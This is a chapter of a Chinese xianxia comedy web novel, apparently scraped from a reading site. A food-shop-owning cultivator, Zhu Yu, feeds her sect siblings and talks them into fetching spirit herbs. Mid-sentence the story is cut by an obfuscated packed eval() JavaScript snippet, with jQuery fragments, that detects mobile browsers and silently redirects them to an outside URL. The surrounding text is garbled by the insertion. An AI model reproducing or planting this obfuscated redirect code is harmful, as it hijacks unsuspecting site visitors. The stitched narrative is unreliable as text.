“大师兄你别激动!撒开二胡!多大人了还因为进阶发疯!”
祝余牢牢护住崭新的梨木二胡,生怕张衡山一个激动又摔断自己的乐器。
而她身旁的周未央在祝余握住二胡的一刹间就抽出骨鞭,霹雳哗啦抛人升空。
周未央抛人时找准了位置,荷花亭榭顿时水花四溅,冰水激得张衡山瞬间打消折断乐器的念头。
祝余哭笑不得,那二胡是她半月前刚做好的,可不能再有任何闪失了。
张衡山是妖修难以控制脾气很正常,可他次次折断二胡就有点让人想踹他,尤其是每次折断的二胡都归她修。
就不能换种更文明的方式发泄脾气吗?隔壁某兽宗的缠花刺绣就是一种极体面的方法,有时间跑去人家那里取取经也不亏。
她在内心无声呐喊。
张衡山回到石桌旁,唤来阵阵微风吹干衣物,扶额无奈:“此非我本意,继续吃菜。”
“吼哟,此非我本意~二胡不是你修你不心疼~”祝余的白眼快飞到天上去,夹起一块肉轻轻咀嚼。
无极峰的人就没一个安分守己的,自她成了器修后她就是峰里的自助法器修理机,美名其曰肥水不流外人田。
她虽气愤,可也无可奈何。
无极峰本来仙草众多奇珍无数,可偏偏她渡劫失败太多次,师傅为了救下她耗尽了大半珍宝。
这就导致原先花钱大手大脚的无极峰瞬间捉襟见肘,没钱成了无极峰的主流时尚。
可怜四师弟小师妹来的不巧,没赶上好日子一点,来到无极峰便是数不尽的苦日子。
她心有惭愧,可她不改。
“大师兄性急,体谅体谅。”周未央突然插出一句话,一双黑溜溜的眉眼眨啊眨,嘴里面却一直塞着饭菜,大有一种野狗抢食的风范。
此时阮从白也缓缓苏醒,嗅到鲜美饭香后迫不及待一个鲤鱼打挺站起来,奔到所有人附近,拿起筷子猛夹美食。
左边夹起松鼠鳜鱼,右边涮起东坡肉,眼神里没有一丝对师兄弟们的关照。
“好吃啊,三师妹所言不假,的确人间美味,爱吃!”
祝余点点头,应下了这声夸赞,等所有人吃完眼里才散发出金光,笑意渐浓。
该切入正题了。
她看向大师兄,声色轻柔:“师兄,你觉得这次体验如何?服务可有哪里不周?一定要展开说说,可千万别估计我的面子张不开嘴。”
张衡山慢慢提起茶杯,回敬祝余:“甚好,我虽极少下厨,却能借着教程学会制作自己心仪的美食。且在这个过程里,内心能够平静下来只思索制作美食而非平日里堆积一起的念头,杂七杂八地,除了头疼没有任何用处。”
“这么说,自己制作美食倒能撇下过多思绪,凝神聚气心无旁骛?”
她笑笑,看来修仙界内卷越来越严重了,不愧是被现代人穿透的修仙界,精神世界也越来越相近了。
若真只是修炼,又怎会生有杂七杂八的念头。
尤其是天剑阁那群修士,卷生卷死,天天叫嚣晚睡一时辰,灵力蹭蹭涨,早起一刻钟,灵剑库库飞的口号打坐练剑。
搞得整个修仙界都不躺平摸鱼了,都开始力争做最勤快的鸟。
这种离奇的氛围下各大宗门喊起了自己的口号,制定了各自的指标。
他们这群亲传弟子大可不必理会这股内卷风潮,可内门外门的弟子就必须听从这莫名其妙的安排。
关键是一个个疑似PUA的口号真被他们听入心间,饭也不好好吃了觉也不好好睡了,争分夺秒打坐修炼,习剑背书。
这让他们亲传弟子一群懒人也被迫跟上了宗门进度。
可人总会遇到瓶颈,一旦修为滞留不前他们就开始怀疑自我,怀疑本心,于是道心也就出现了问题。
谁还真心记得自己为何要修炼呢?
比起“为何”,“如何”更让他们着急。
祝余想,这都本末倒置了修炼必然分寸不动。
小的不明白,那群老的总明白。
可无人提出他们的修炼误区歧途,于是恶循环就这么轻易产生了。
“三师妹此言不假,这美食确有净化心神功效。”阮从白乐呵地看向剩菜剩饭,随口一说。
“多谢二师兄谬赞。”祝余笑意加深,点头道。
身侧的贯白并不清楚祝余打什么鬼主意,但近几日的交往下祝余一露出这个表情,他就知道祝余要搞事情。
身为美食店的开创者之一,他虽然没弄懂祝余下一步想要做什么,但老实听从就好了。
反正她总能干出有意思的事。
祝余这边的确动用了忽悠的本领,一板一眼认真道:“不过我这小店可没此等神力,还是你们自己平心静气下来了。”
程昭隐隐觉得祝余又要使坏了,这时候不说话才是最优解,他看向周未央,却发现周未央朝他点点头,手指划过嘴角,示意他别开口。
她太熟悉祝余这个表情下想做什么,不止是她,在场所有人都预料到了。
“对了,先别提什么平心静气,我要的丹药什么时候才能练出来?”
张衡山选择以恶制恶,既然祝余又想对他们施阴招,那他们也要“轻微”对抗一下。
“啧,我都筑基了哪有什么灵力炼丹,痴心妄想。”祝余无语一霎,须臾片刻又说道:“也不是不能炼丹,就是有点稀缺灵草。我身上值钱的东西都被七十二道天雷劈干净了,拿什么炼丹?!”
她反将一军,迫切要求张衡山来个乾坤大挪移提供灵草,张衡山说了句:“做不到。”就不再吭声。
“你们呢?有事说事,先说好我未必能做到,就算能做到你们也别想坐享其成。”
其他人不语,默默看向天空看向大地。
“那要不这样吧,你们找来灵草或者上等铁料,我尝试一下能不能加工。
都体谅一下,就算我会的再多,可筑基期的灵力也就半壶水左右,做不了太多事。”
她后退一步,只留下灵草和铁料的筹码,静静观察其他人的反应。
其他人面面相觑,他们和祝余相处少说也有两百年,还能不知道她的套路?!
这看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439251|169351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似后退一步,实则一动不动。
他们不解,祝余为何如此执念灵草灵药。
虽然窃来宗门内的草药并不难,可也架不住他们天天溜达,更别提他们对于某些草药压根不熟悉。
这要是被逮到了,他们是真的会出卖祝余,添油加醋那种。
“愣着干嘛,回答我!难道是我说的你们听不懂?”
“哎,你们也不必顾虑那群长老,出事就报我名字啊。那么大一片草药地可都是我犁出来的,总要让我有点权力采摘。”
“放心大胆地说出去就好,大不了我回到宗门重新犁地,都一回生二回熟了。”
她一点脸不红心不跳,语气平淡说道。
天玄宗的草药地是各大宗门里最大的,原因无他,只因祝余刚穿到此处不熟悉,想用紫霄鹤云鼎煲汤。
但因不熟悉流程且控制不好火候烧了整片山头。
天玄宗的草药底蕴毁于一旦,罪魁祸首的她当天就被压到惩恶堂里挨了二十道卸骨鞭,随后被发配到被烧得黢黑一片的草药地重新犁出新土。
顺便清理出周围的五座山峰和十座天上岛用来种地。
不过也多亏这个窒息的惩处,她记住了许多珍惜药材,也找出了哪些能吃哪些不能吃,哪些做饭好吃哪些做饭不好吃。
现如今天玄宗的园圃里哪怕是一根杂草她都能说出杂草称谓作用。
“师姐,若你所想之物如此简单就能得到,那也太虚假了。”程昭打破祝余的想象,幽深的瞳孔里满是戒备。
双手紧紧护住他的宝贝灵剑,生怕祝余趁他不注意顺走。
这宝剑可是他的命根子,一把短剑可比他自己都要值钱。
“我是那种贪得无厌无恶不作手段下流卑鄙无耻之徒?”
“你应该比我们更清楚自己是个怎样的人。”
祝余干笑两声,他说的也没错。
“好吧,其实还有个不情之请,你们出去后多加宣传本店。记住,先告诉丹修符修,再告诉法修医修,最后通知剑修刀修。”
“顺便薅亿点草药,我在此地等你们。”
她说完撇撇嘴,表示对他们的不满。
张衡山无语凝噎,过了半天才开口说话:“就这小事你说半天,有够拖沓的。”
“这忙你们是帮还是不帮?”
“帮,都说出口了怎么会不帮。”
祝余点点头,笑得合不拢嘴,她的目的只有草药,宣不宣传的只不过是她的借口。
这下便凑齐了店主所求的灵药与仙丹,她能够安稳得过好下一周。
贯白从开始到现在未说话太多话语,他就静静站在祝余身侧,看着她说出一层又一层的话语。
他闲得发慌。
“好了,下次再想来直接从灵板里点击图标就好,不过别忘记限制修为,高过元婴期就会自动被弹飞。
有客人来了,先不招待你们了,我去看看是谁大驾光临。”
她起身离开隔间,贯白火速跟上,来到门口。
一位白衣男子直勾勾盯向大门内部,面色生疑。